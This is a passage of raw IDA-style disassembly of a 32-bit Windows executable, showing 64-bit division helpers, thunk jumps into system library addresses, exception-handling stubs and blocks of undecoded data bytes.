		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_437B3C


loc_437B50:				; CODE XREF: sub_437B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_437B30	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 80FAFBE9h, 0E990DE77h, 777E5424h
		db 90h
; ---------------------------------------------------------------------------


loc_437B6D:				; CODE XREF: ___:00437AF4j
		jmp	near ptr 77C3FA76h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7780FED8h, 2300E990h, 0E9907780h, 7780FD9Ch,	487DE990h
		dd 3D83777Fh, 5109B4h, 0FF0C75FFh, 0E8042474h, 777FD25Ch
		dd 68C35990h, 5109A4h, 5109B468h, 2474FF00h, 310E80Ch
		dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
		dd 0C348D8F7h, 464DE990h, 0E9E9777Fh, 79777FF5h, 0F5F9E990h
; ---------------------------------------------------------------------------
		jg	short loc_437C51

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437BDA	proc near		; CODE XREF: sub_4199C0+28p
		jmp	near ptr 77C4FA10h
sub_437BDA	endp

; ---------------------------------------------------------------------------
		dec	ebx

; =============== S U B	R O U T	I N E =======================================



sub_437BE0	proc near		; CODE XREF: sub_41B920+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_437C01
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_437C51
; ---------------------------------------------------------------------------


loc_437C01:				; CODE XREF: sub_437BE0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_437C0F:				; CODE XREF: sub_437BE0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C0F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_437C3A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_437C3A
		jb	short loc_437C42
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_437C42


loc_437C3A:				; CODE XREF: sub_437BE0+4Aj
					; sub_437BE0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_437C42:				; CODE XREF: sub_437BE0+52j
					; sub_437BE0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_437C51:				; CODE XREF: ___:00437BD8j
					; sub_437BE0+1Fj
		pop	ebx
		retn	10h
sub_437BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_437C60	proc near		; CODE XREF: sub_41B920+30p
					; sub_41B920+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_437C82
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_437CC3
; ---------------------------------------------------------------------------


loc_437C82:				; CODE XREF: sub_437C60+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_437C90:				; CODE XREF: sub_437C60+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C90
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_437CBE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_437CBE
		jb	short loc_437CBF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_437CBF


loc_437CBE:				; CODE XREF: sub_437C60+4Ej
					; sub_437C60+54j
		dec	esi


loc_437CBF:				; CODE XREF: sub_437C60+56j
					; sub_437C60+5Cj
		xor	edx, edx
		mov	eax, esi


loc_437CC3:				; CODE XREF: sub_437C60+20j
		pop	esi
		pop	ebx
		retn	10h
sub_437C60	endp

; ---------------------------------------------------------------------------
		dd 808DE4E9h, 0E990C577h, 7780733Ch, 810188E9h,	0E9900C77h
		dd 77809196h, 809516E9h, 0E990E377h, 77809888h,	96AAE990h
		dd 44E97780h, 0AE77809Ah, 0FEE2E990h, 0E9907780h, 77809E6Eh
		dd 71ECE990h, 4E97780h,	7B778091h, 43ADE990h, 0E990777Fh
		dd 777E4845h, 0F0D0E990h, 0E990777Fh, 777FF4D2h, 758EE990h
		dd 0FEE9777Eh, 8D77807Bh, 9B30E990h, 0E9907780h, 7780269Bh
		dd 25C1E990h, 0E9907780h, 778113C7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437D4C	proc near		; CODE XREF: ___:0043297Cp
		jmp	near ptr 77C3619Ch
sub_437D4C	endp

; ---------------------------------------------------------------------------
		db 0A9h, 90h, 0E9h
		dd 777FF01Ch, 8E53E990h, 4517780h, 0F3E692C4h, 9853C12h
		dd 4F8EC480h, 5EC4D0E2h, 2D31D8BAh, 968E6DFAh, 0AD41E226h
		dd 5653917Ch, 0E8658957h, 5D89DB33h, 90026AFCh,	7FD5EBE8h
		dd 0D835977h, 5109A4h, 0B40D83FFh, 0FF005109h, 7E7436E8h
		dd 0D8B9077h, 5108B4h, 0E8900889h, 777E73F0h, 8B00D8Bh
		dd 8890051h, 511A28A1h,	0A3008B00h, 510998h, 12EE8h, 0B01D3900h
		dd 7500448Ch, 7EF8680Ch, 96E80043h, 90778158h, 0FAE859h
		dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h
		dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h,	8D509045h
		dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h
		dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 99E850A4h
		dd 90022E81h, 1D045F6h,	0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	2469E42h
		dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 77801FDEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437EBC	proc near		; CODE XREF: ___:00437B04p
		nop
		jmp	near ptr 77C21868h
sub_437EBC	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
dword_437EC4	dd 777FCF89h, 1FCCE990h, 0DBE97780h, 0F5777FAEh, 7011E990h
		dd 88E9777Eh, 3977801Eh, 3000068h, 6800h, 25E80001h, 59000000h
		dd 7EE9C359h, 83778157h, 0C3C3C033h, 72A2E990h,	0E990777Eh
		dd 777E72D3h, 7FD46FE9h, 0E990E877h, 777FDD80h,	816F16E9h
		dd 0E9904E77h, 75C6844Bh, 8529E990h, 0E99075C6h, 75C5A102h
		dd 7553E990h, 0F9E975C5h, 6775C684h, 0A029E990h, 9E975C4h
		dd 6F75C539h, 0F765E990h, 95E975C5h, 275C4DBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437F50	proc near		; CODE XREF: sub_4193C0+17Ep
		nop
		jmp	near ptr 76D6AC1Dh
sub_437F50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 23B8CEFh, 8DF4E990h,	0E990023Bh, 23C8098h, 85F7E990h
		dd 8DE9023Ch, 0A6023D80h, 8086E990h, 0E990023Eh, 23F8080h
		dd 807AE990h, 0E9900240h, 24096F4h, 4098E3E9h, 69E9E802h
		dd 28024180h, 83CBE990h, 62E90241h, 4024185h, 8C4AE990h
		dd 0E9900241h, 2428050h, 804AE990h, 0E9900243h,	2438CADh
		dd 803EE990h, 0E9900244h, 2448373h, 8032E990h, 0E9900245h
		dd 246802Ch, 46929AE9h,	0E9907402h, 2469CEEh, 801AE990h
		dd 2CE90247h, 76024787h, 8DD2E990h, 0E9900247h,	2488008h
		dd 4884CAE9h, 0E9908802h, 23B8886h, 7FF6E990h, 0E990023Bh
		dd 23A7FF0h, 897AE990h,	0E5E90239h, 0C002397Fh,	387FDFE9h
		dd 0E9901302h, 237839Dh, 7FD2E990h, 0E9900237h,	2368A2Dh
		dd 8271E990h, 0E9900236h, 236819Ch, 7FBAE990h, 74E9022Dh
		dd 67023681h, 8135E990h, 0E9900236h, 7C4C9095h,	8FA7E990h
		dd 0E9907C4Ch, 2367F9Ch, 8DDDE990h, 0E9900235h,	2358682h
		dd 7F8AE990h, 0E9900235h, 23487A2h, 86EBE990h, 0E9E90234h
		dd 16023484h, 83DBE990h, 42E90234h, 0CA023482h,	7F66E990h
		dd 0E9900234h, 2338CD3h, 338ADAE9h, 0D7E9CA02h,	0E1023388h
		dd 338617E9h, 0E9901102h, 2338532h, 7F42E990h, 0A4E90233h
		dd 0BD02328Eh, 8B5EE990h, 0E9900232h, 2328987h,	863FE990h
		dd 0E9900232h, 2328301h, 327F1FE9h, 0E9906F02h,	231880Ch
		dd 87D7E990h, 17E90231h, 80023181h, 317F07E9h, 0ABE9E602h
		dd 7E02308Ah, 865DE990h, 0F5E90230h, 8802307Eh,	8D9AE990h
		dd 0E990022Fh, 22F8B95h, 2F8877E9h, 0E990A102h,	22F85FCh
		dd 7ED6E990h, 0E990022Fh, 22E7ED0h, 0F5C1E990h,	0C5E9001Bh
		dd 0E102497Eh, 5390C0E9h, 0E9904102h, 24F7EB8h,	537EB3E9h
		dd 0E990FA02h, 252814Ah, 7EA6E990h, 0E9900252h,	2517EA0h
		dd 5080FCE9h, 95E91602h, 0BD02507Eh, 8ADAE990h,	0E990024Fh
		dd 24F87AEh, 8610E990h,	0E990024Fh, 24F83C1h, 824EE990h
		dd 0E9900249h, 24E8917h, 8499E990h, 0E990024Eh,	24E811Ch
		dd 7E5EE990h, 0E990024Eh, 24D7E58h, 7E52E990h, 0E990024Ch
		dd 24B990Fh, 9620E990h,	0E990024Bh, 24B92ECh, 9186E990h
		dd 0E990024Bh, 24B7E34h, 4A7E2FE9h, 0E9905A02h,	7C608F38h
		dd 0BD63E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381DE	proc near		; CODE XREF: ___:0042DBE1p
		jmp	near ptr 71AB4FD4h
sub_4381DE	endp

; ---------------------------------------------------------------------------
		db 0F0h
		dd 686290E9h
		db 71h,	0A6h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381EA	proc near		; CODE XREF: sub_42DBD1+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_4381EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381F0	proc near		; CODE XREF: sub_42DF40+E5p
					; sub_42EF60+4Fp
		jmp	near ptr 71AB615Ah
sub_4381F0	endp

; ---------------------------------------------------------------------------
		db 0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381F6	proc near		; CODE XREF: sub_42E490+9Ap
					; sub_42F040+45p ...
		nop
		jmp	near ptr 71AB428Ah
sub_4381F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381FC	proc near		; CODE XREF: sub_42F2C0+53p
					; sub_42F2C0+96p ...
		jmp	near ptr 71AB9639h
sub_4381FC	endp

; ---------------------------------------------------------------------------
		inc	ecx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438202	proc near
		nop
		jmp	near ptr 71AC1028h
sub_438202	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438208	proc near		; CODE XREF: sub_42E170+71p
					; sub_42ED50+50p
		jmp	near ptr 71AB2DC0h
sub_438208	endp

; ---------------------------------------------------------------------------
		db 6Fh,	90h, 0E9h
		dd 7167A9ACh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438214	proc near
		jmp	near ptr 71AB88D3h
sub_438214	endp

; ---------------------------------------------------------------------------
		db 0D9h, 90h, 0E9h
		dd 7167A946h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438220	proc near		; CODE XREF: sub_42E870+187p
		jmp	near ptr 71AB951Eh
sub_438220	endp

; ---------------------------------------------------------------------------
		db 6Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438226	proc near
		nop
		jmp	near ptr 71AB3E00h
sub_438226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43822C	proc near		; CODE XREF: sub_42DB00+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_43822C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438232	proc near		; CODE XREF: ___:0042DC2Fp
					; sub_42E870+152p
		nop
		jmp	near ptr 71AB3B91h
sub_438232	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438238	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_438238	endp

; ---------------------------------------------------------------------------
		dw 0E5E9h
; ---------------------------------------------------------------------------
		shl	dword ptr [edi+71h], 0EBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438244	proc near		; CODE XREF: sub_42DA80+10p
		nop
		jmp	near ptr 71AB664Dh
sub_438244	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167CE78h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438250	proc near		; CODE XREF: sub_434BA0+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_438250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438256	proc near		; CODE XREF: sub_41A7D0+92p
					; sub_41A9C0+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_438256	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0EEh, 88h
; ---------------------------------------------------------------------------
		push	0B1E99071h
		retn	7167h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 52h, 0A9h
		dd 0E9907167h, 7167AA9Bh, 0A9EFE990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43827A	proc near
		nop
		jmp	near ptr 71AB3EA1h
sub_43827A	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E3h, 4
		dd 0FEE97168h, 9F7167C1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43828C	proc near		; CODE XREF: sub_42DB00+53p
					; sub_42DB00+C3p
		nop
		jmp	near ptr 71ABE6EBh
sub_43828C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438292	proc near		; CODE XREF: sub_42F2C0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_438292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438298	proc near
		jmp	near ptr 71AB2A5Eh
sub_438298	endp

; ---------------------------------------------------------------------------
		db 0BBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43829E	proc near		; CODE XREF: ___:0041C2B7p
					; ___:0041C2CCp
		nop
		jmp	near ptr 71B2578Ch
sub_43829E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382A4	proc near		; CODE XREF: ___:0041C40Dp
					; ___:0041C42Fp
		jmp	near ptr 71B25099h
sub_4382A4	endp

; ---------------------------------------------------------------------------
		db 32h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382AA	proc near		; CODE XREF: ___:00426390p
		nop
		jmp	near ptr 71B2517Fh
sub_4382AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B0	proc near		; CODE XREF: sub_420090+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_4382B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382B6	proc near		; CODE XREF: sub_420090+9Bp
		jmp	near ptr 76BF1F1Ch
sub_4382B6	endp

; ---------------------------------------------------------------------------
		db 39h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382BC	proc near		; CODE XREF: sub_420090+21p
		nop
		jmp	near ptr 76BF3A9Ah
sub_4382BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382C2	proc near		; CODE XREF: ___:0041B2B4p
		nop
		jmp	near ptr 76F36C5Bh
sub_4382C2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 80h, 0DFh
dword_4382CC	dd 52E97780h, 767780DEh, 80DE97E9h, 0E9909577h,	7780E040h
		dd 2C4h	dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh,	8DFFFC84h
		dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403530	proc near		; DATA XREF: sub_403530+2o
		mov	eax, offset dword_43F470
		jmp	sub_437AB8
SEH_403530	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_438E6B:				; DATA XREF: ___:0043F4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403720	proc near		; DATA XREF: sub_403720+2o
		mov	eax, offset dword_43F4C0
		jmp	sub_437AB8
SEH_403720	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C50	proc near		; DATA XREF: sub_403C50+2o
		mov	eax, offset dword_43F700
		jmp	sub_437AB8
SEH_403C50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392B8:				; DATA XREF: ___:0043F75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403CE0	proc near		; DATA XREF: sub_403CE0+2o
		mov	eax, offset dword_43F730
		jmp	sub_437AB8
SEH_403CE0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392E8:				; DATA XREF: ___:0043F794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D60	proc near		; DATA XREF: sub_403D60+2o
		mov	eax, offset dword_43F768
		jmp	sub_437AB8
SEH_403D60	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403DE0	proc near		; DATA XREF: sub_403DE0+2o
		mov	eax, offset dword_43F7A0
		jmp	sub_437AB8
SEH_403DE0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_439338:				; DATA XREF: ___:0043F7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E50	proc near		; DATA XREF: sub_403E50+2o
		mov	eax, offset dword_43F7D0
		jmp	sub_437AB8
SEH_403E50	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_4393B8:				; DATA XREF: ___:0043F85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403F30	proc near		; DATA XREF: sub_403F30+2o
		mov	eax, offset dword_43F830
		jmp	sub_437AB8
SEH_403F30	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
